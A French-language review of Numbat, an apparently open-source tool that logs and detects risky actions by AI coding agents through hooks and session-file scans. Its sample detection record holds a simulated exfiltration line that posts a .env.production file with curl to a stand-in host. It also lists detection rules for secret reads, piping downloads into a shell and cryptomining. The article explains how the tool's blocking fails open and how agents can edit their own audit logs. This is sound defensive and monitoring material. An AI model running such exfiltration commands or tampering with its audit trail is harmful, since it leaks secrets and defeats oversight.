Numbat : surveiller les actions de vos agents IA

Ce qu’est Numbat

Numbat vous permet de voir ce qu’un agent IA a fait sur une machine que vous administrez. Il lit les callbacks de hooks et les fichiers de session déjà produits par les agents de codage, les normalise dans un format d’événement unique, puis les compare à des règles qui se déclenchent lors de comportements tels que la lecture d’une clé privée SSH ou l’envoi direct d’un téléchargement vers un shell. Perplexity l’a publié en open source sous licence Apache 2.0, avec une première version taguée le 29 July 2026.

Tout ce qui suit provient du dépôt du projet et de sa documentation, consultés le 2 August 2026. L’historique des versions, les prérequis d’installation, le schéma des enregistrements et la prise en charge des agents ont été vérifiés de nouveau dans le dépôt le 12 October 2026. Lorsque Perplexity avance une information, cet article le précise. Il ne s’agit pas d’un tutoriel d’installation, car le dépôt est récent et ses commandes vont évoluer.

Le problème : personne ne consigne les actions de l’agent

Un agent de programmation exécuté sur votre VPS lance des commandes shell, lit des fichiers, écrit des fichiers et ouvre des connexions réseau, le tout avec l’utilisateur que vous lui avez attribué. Votre historique shell n’enregistre rien de tout cela, car l’agent ne saisit pas les commandes dans votre shell. sshd journalise votre connexion, mais rien de ce que le modèle décide ensuite de faire. /var/log/auth.log reste silencieux tant qu’aucun processus n’accède à sudo. L’agent conserve sa propre transcription, mais ce fichier se trouve dans le répertoire de session de l’agent, son format change selon les releases et le processus de l’agent peut lui-même y écrire.

Ainsi, lorsqu’une personne demande si l’agent a lu .env.production mardi dernier, la réponse honnête est que, sur la plupart des serveurs, vous ne pouvez pas le savoir. C’est cette lacune qui est à l’origine de ce projet.

Ce que Perplexity affirme que Numbat fait

Le README commence par présenter l’outil comme une solution offrant une « visibilité au niveau du endpoint sur l’activité des agents IA, avec détection locale, blocage facultatif avant action et reconstitution forensique ». Ici, endpoint désigne la machine sur laquelle l’agent s’exécute, et non un équipement réseau qui surveille l’activité depuis l’extérieur. Ces fonctions sont distinctes et n’ont pas la même portée.

La détection s’exécute sur l’appareil. Les règles sont écrites en CEL (Common Expression Language) et évaluées localement. Des règles de séquence en plusieurs étapes peuvent s’y superposer. Vous pouvez également définir vos propres règles en YAML. Une règle peut donc se déclencher sans qu’aucune donnée ne quitte la machine.

Le blocage est facultatif et limité. Il fonctionne uniquement par l’intermédiaire de hooks synchrones exécutés avant l’action, et seulement avec les agents qui en exposent un. Il reste désactivé tant que vous ne l’activez pas.

La reconstitution intervient après les faits. numbat scan analyse les artefacts de session qu’un agent a déjà écrits sur disque. Vous pouvez donc examiner une activité antérieure à l’installation de l’outil. Le projet encadre précisément cette fonction : « La reconstitution des données au repos n’est ni une acquisition du disque ni une acquisition de la mémoire. Elle ne peut pas récupérer une activité que l’agent n’a pas persistée. »

La sortie est au format NDJSON versionné (JSON délimité par des retours à la ligne). Elle couvre les événements, les détections, les décisions d’application des règles, les indicateurs et les résumés d’analyse. La version du schéma était 0.2.0 dans v0.1.2. Le schéma a évolué depuis : le 12 octobre 2026, le dépôt contenait les versions 0.2.0, 0.3.0 et 0.4.0, et les exemples d’enregistrements du README affichaient la version 0.4.0. Les enregistrements sont envoyés vers stdout ou vers un fichier local, et éventuellement par HTTP à un collecteur que vous gérez. Le logiciel est fourni sous la forme d’un binaire Go statique unique, compilé sans cgo, pour macOS, Linux et Windows sur amd64 et arm64. Sur un VPS Linux, il s’agit donc d’un seul fichier : aucun runtime n’est à installer au préalable.

Quels agents Numbat peut-il réellement voir ?

La matrice de couverture dans docs/agent-coverage.md fait autorité, et elle est inégale. Le projet l’indique clairement au lieu de le dissimuler. Claude Code, Codex, Gemini CLI, Cursor et GitHub Copilot CLI prennent en charge à la fois l’analyse des artefacts et la capture en direct avec un hook pre-action. OpenClaw dispose d’un plugin natif à partir de la version 2026.7.1. De nombreuses entrées sont marquées deferred. Cela signifie qu’un chemin de hook en direct existe, mais pas l’analyseur d’artefacts, souvent parce que l’agent stocke son historique dans SQLite avec un write-ahead log qu’il n’est pas sûr de lire pendant que l’agent s’exécute. Cline CLI fait partie de ce groupe : ses hooks en direct fonctionnent, mais ses sessions SQLite ne sont pas analysées. OpenCode est un cas particulier. La matrice v0.1.2 analyse ses anciens stockages JSON et reporte uniquement la base de données actuelle opencode.db, elle n’indique aucune enforcement pre-action pour OpenCode, et la matrice de main indiquait toujours la même chose le 12 octobre 2026.

Vérifiez la ligne correspondant à votre agent avant de planifier quoi que ce soit autour de cet outil, car « supported » ne signifie presque jamais la même chose d’une ligne à l’autre.

À quoi ressemble une détection

Les règles ont des identifiants qui indiquent leur fonction. secrets.read_private_key couvre une clé SSH, des identifiants AWS, une configuration kube ou une connexion à un registre de packages. exec.download_pipe_shell se déclenche lorsque la sortie de curl ou wget est redirigée vers un interpréteur. privilege.elevated_shell détecte une demande de shell root interactif via sudo, doas, su ou pkexec. impact.cryptomining_launch correspond aux binaires et aux noms d’images de mineurs connus.

Les règles de séquence associent des événements au sein d’une même session. chain.secret_read_then_egress exige la lecture d’un fichier contenant un secret, suivie d’une commande qui transmet des données vers l’extérieur. Le README publie le résultat ci-dessous à partir de la relecture contrôlée de deux callbacks pre-action de Claude Code, et non d’un incident réel. Il est tronqué ici pour ne conserver que les champs importants :

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notez "confidence": "medium" à l’intérieur de l’enregistrement. Notez également ce que le projet indique au sujet de cette catégorie complète de résultats : « Les résultats sont des correspondances de règles, pas une preuve de compromission. » Un script de déploiement qui lit une clé, puis téléverse un artefact de build, correspondra à cette même règle de séquence. La correspondance est correcte, mais l’alerte est injustifiée. C’est le fonctionnement habituel de tous les outils de détection que vous avez déjà exécutés.

Le blocage est désactivé par défaut et le système échoue en mode permissif

Toutes les règles fournies par Numbat sont en mode monitoring uniquement. Transformer une règle en règle de blocage demande une intervention explicite : copiez l’intégralité du YAML de la règle dans votre propre répertoire, conservez le même identifiant, ajoutez enforce: true, incrémentez la version, puis validez et installez cette policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Examinons maintenant le niveau de confiance que vous pouvez lui accorder. Le deny de Numbat est une réponse renvoyée à l’agent, et c’est l’agent qui refuse réellement l’appel de l’outil. Le guide d’enforcement indique clairement ce qui se passe lorsque Numbat rencontre lui-même un problème : « Les payloads malformés, les erreurs d’évaluation pertinentes, les panics et les échecs de sortie suppriment le deny de numbat. » L’entrée du hook est limitée à 4 MiB, et une entrée trop volumineuse suit le même chemin.

Le guide indique tout aussi clairement la limite d’un deny qui est effectivement transmis : « Le mode fail-open signifie que numbat omet sa réponse deny. Cela ne garantit pas que l’outil s’exécute : l’hôte peut toujours demander une confirmation, refuser, expirer ou appliquer un autre hook ou une autre policy. »

L’enforcement constitue donc ici une protection, pas une frontière de sécurité. Si le processus plante, Numbat ne bloque pas l’action, car un outil de monitoring qui fige votre agent chaque fois qu’il rencontre un problème est désinstallé en moins d’une semaine. Ce compromis est raisonnable. Ne construisez simplement pas un modèle de sécurité qui suppose que le deny arrive toujours.

Où Numbat s’insère dans vos pratiques existantes

Numbat s’exécute sur le endpoint, dans le propre process tree de l’agent, et écrit par défaut dans ~/.numbat/records.ndjson. Un agent exécuté avec votre compte peut lire ce fichier. Il peut aussi le modifier. La valeur de la trace d’audit dépend exactement du niveau d’isolation qui l’entoure. Tous les contrôles que vous avez déjà en place doivent donc se trouver en amont, et non en aval.

Donner à l’agent de codage une VM jetable limite ce qu’une exécution défaillante peut atteindre. Utiliser un compte avec le principe du moindre privilège sur le VPS empêche l’agent d’accéder aux fichiers qu’il n’a aucune raison d’ouvrir. Garder les identifiants hors du contexte de l’agent rend un secrets.read_private_key suffisamment rare pour que sa lecture soit utile lorsqu’il se déclenche. Et le sandbox que vous avez configuré pour Claude Code sur un VPS reste le mécanisme qui assure le confinement. Le confinement limite ce qu’une exécution défaillante peut modifier ou consulter, tandis que documenter les raisons de la structure du code réduit la fréquence des comportements surprenants de l’agent qui vous obligeraient à consulter le journal.

Ce que Numbat ajoute, c’est la trace. Envoyez donc cette trace vers un emplacement auquel l’agent ne peut pas accéder. numbat ship et le HTTP sink sont prévus à cet effet. Une copie du flux sur une seconde machine fait la différence entre un fichier journal et une preuve. Le modèle d’événement transporte également des champs MCP (model context protocol). Les appels d’outils qui sortent par un serveur MCP que vous hébergez sur un VPS apparaissent ainsi dans le même flux que les commandes shell locales. C’est important, car ce chemin échappe à toute surveillance limitée à bash. Le même angle mort concerne une instance SearXNG configurée comme backend de recherche de l’agent, où le risque prend la forme de texte non fiable provenant d’une page et injecté dans le contexte du modèle, plutôt que celle d’une commande détectable par une règle.

Commencez par une lecture seule

Installez une version figée. La commande ci-dessous fige la version v0.1.2, dont le README demande Go 1.26.5 ou une version ultérieure. Le README de main demandait Go 1.26.6 ou une version ultérieure le 12 octobre 2026. Cette exigence a été relevée avec v0.2.0. Utilisez donc 1.26.6 si vous figez un tag plus récent. La page des releases fournit des binaires précompilés accompagnés de sommes de contrôle SHA-256 si vous préférez ne pas compiler depuis les sources.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents détecte les agents installés sur le serveur. numbat scan analyse les artefacts de session déjà présents sur le disque et affiche les enregistrements. Le README indique que ces commandes « n’installent pas de hooks et ne modifient pas la configuration des agents » et que numbat « n’exécute jamais les agents ni les commandes trouvés dans les artefacts ; il n’effectue des requêtes sortantes que vers les sinks HTTP configurés ». L’analyse s’effectue en lecture seule, avec masquage des secrets. La sortie normale des enregistrements n’inclut jamais la transcription brute complète.

La capture en direct constitue l’étape suivante. Elle modifie effectivement la configuration des agents :

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all écrit les événements, les résultats, les indicateurs et les décisions d’application correspondantes dans ~/.numbat/records.ndjson. Deux points d’attention proviennent directement du projet. Les hooks doivent parfois être approuvés dans l’agent avant de pouvoir s’exécuter. Cette approbation doit être réexaminée après toute modification de flags tels que --enforce. De plus, hook status « vérifie la configuration, et non l’exécution ou la livraison ». Un état sain ne prouve donc pas que des enregistrements arrivent quelque part.

Pourquoi un dépôt aussi récent ne constitue pas une dépendance

Au 12 octobre 2026, les versions publiques sont v0.1.1, publiée le 29 juillet 2026, v0.1.2, publiée le 1er août 2026, et v0.2.0, publiée le 17 août 2026. La page des releases indique cette dernière comme la plus récente. Le dépôt comptait 597 stars au moment de la rédaction de cet article, le 2 août 2026. Une progression aussi rapide reflète l’audience de Perplexity, pas la solidité du code. Une star signifie qu’une personne a enregistré la page pour la consulter plus tard.

Le numéro de version indique clairement le niveau de maturité du projet. Les notes de v0.1.2 concernent principalement des corrections de masquage des identifiants, ainsi que la normalisation des bundles de cas et de la télémétrie. Les notes de v0.2.0 ajoutent la capture limitée du contenu des messages, l’application de la règle de lecture des fichiers de Cursor via son hook beforeReadFile, ainsi que d’autres corrections du masquage. Les bugs de masquage correspondent au type de défaut attendu au début du développement d’un outil chargé de lire en toute sécurité les transcriptions d’autres programmes. Il y en aura d’autres, car les entrées proviennent d’une douzaine d’agents qui modifient chacun leur format selon leur propre calendrier.

Deux règles pratiques en découlent. Épinglez le tag, jamais @latest, dans tout ce que vous conservez. Et considérez cet outil comme un instrument que vous évaluez, pas comme un contrôle dont vous dépendez, au moins tant que le schéma des enregistrements continue d’évoluer. Il n’est pas encore stabilisé : le schéma est passé de 0.2.0 dans v0.1.2 à 0.4.0 dans le README de main en une dizaine de semaines.

FAQ

Numbat bloque-t-il les commandes dangereuses des agents IA ?

Uniquement si vous l’activez, et seulement dans la mesure du possible. Toutes les règles fournies par Numbat sont en mode surveillance uniquement. Pour bloquer une commande, copiez le fichier YAML de la règle dans votre propre répertoire, conservez son id, ajoutez enforce: true, incrémentez la version, puis installez le hook avec --enforce. Même dans ce cas, le refus est renvoyé à l’agent, qui décide de refuser l’appel. Le projet documente un comportement fail-open : les payloads mal formés, les erreurs d’évaluation, les panics et les erreurs de sortie désactivent tous le refus. Utilisez cette fonction comme garde-fou, et non comme unique limite de sécurité.

Quels agents IA Numbat prend-il en charge ?

La couverture varie selon l’agent et figure dans docs/agent-coverage.md du repository. Claude Code, Codex, Gemini CLI, Cursor et GitHub Copilot CLI disposaient à la fois de l’analyse des artefacts et de la capture en direct lorsque cette page a été consultée le 2 août 2026. OpenClaw dispose d’un plugin natif depuis la version 2026.7.1. De nombreux autres agents disposent d’un chemin de hook en direct, mais pas encore d’un parser d’artefacts. Leur historique de session se trouve généralement dans une base SQLite qu’il n’est pas sûr de lire pendant l’exécution de l’agent. Consultez la ligne correspondant à votre agent, car le terme « pris en charge » recouvre plusieurs niveaux différents dans ce tableau.

L’agent peut-il modifier les enregistrements de Numbat ?

Oui, s’il s’exécute avec le même utilisateur. Par défaut, les enregistrements sont stockés dans ~/.numbat/records.ndjson sur la même machine que l’agent. Tout processus disposant d’un accès en écriture à ce chemin peut donc les modifier ou les supprimer. Envoyez le flux à un collector auquel l’agent ne peut pas accéder, avec numbat ship ou le sink HTTP, et conservez le fichier local comme copie pratique. C’est également pourquoi cet outil complète l’isolation au lieu de la remplacer. Un agent confiné dans une VM jetable et exécuté avec un utilisateur disposant du moindre privilège a beaucoup moins de possibilités d’accès à sa propre piste d’audit.

Numbat est-il prêt pour un serveur de production ?

Pas comme un mécanisme de contrôle dont vous dépendez. La première version publique était v0.1.1 le 29 juillet 2026, v0.1.2 a suivi le 1 août 2026 et v0.2.0 le 17 août 2026. Au 12 octobre 2026, le schéma des enregistrements du README avait atteint 0.4.0. Les flags et le schéma des enregistrements évoluent donc encore tous les deux. L’exécution de numbat agents et numbat scan sur une machine est en lecture seule et présente peu de risques. Elle vous indique ce que vos agents ont laissé sur le disque. Installer des hooks d’enforcement sur un serveur important est une autre décision. Elle nécessite un tag figé et un plan définissant le comportement attendu en cas de dysfonctionnement du hook.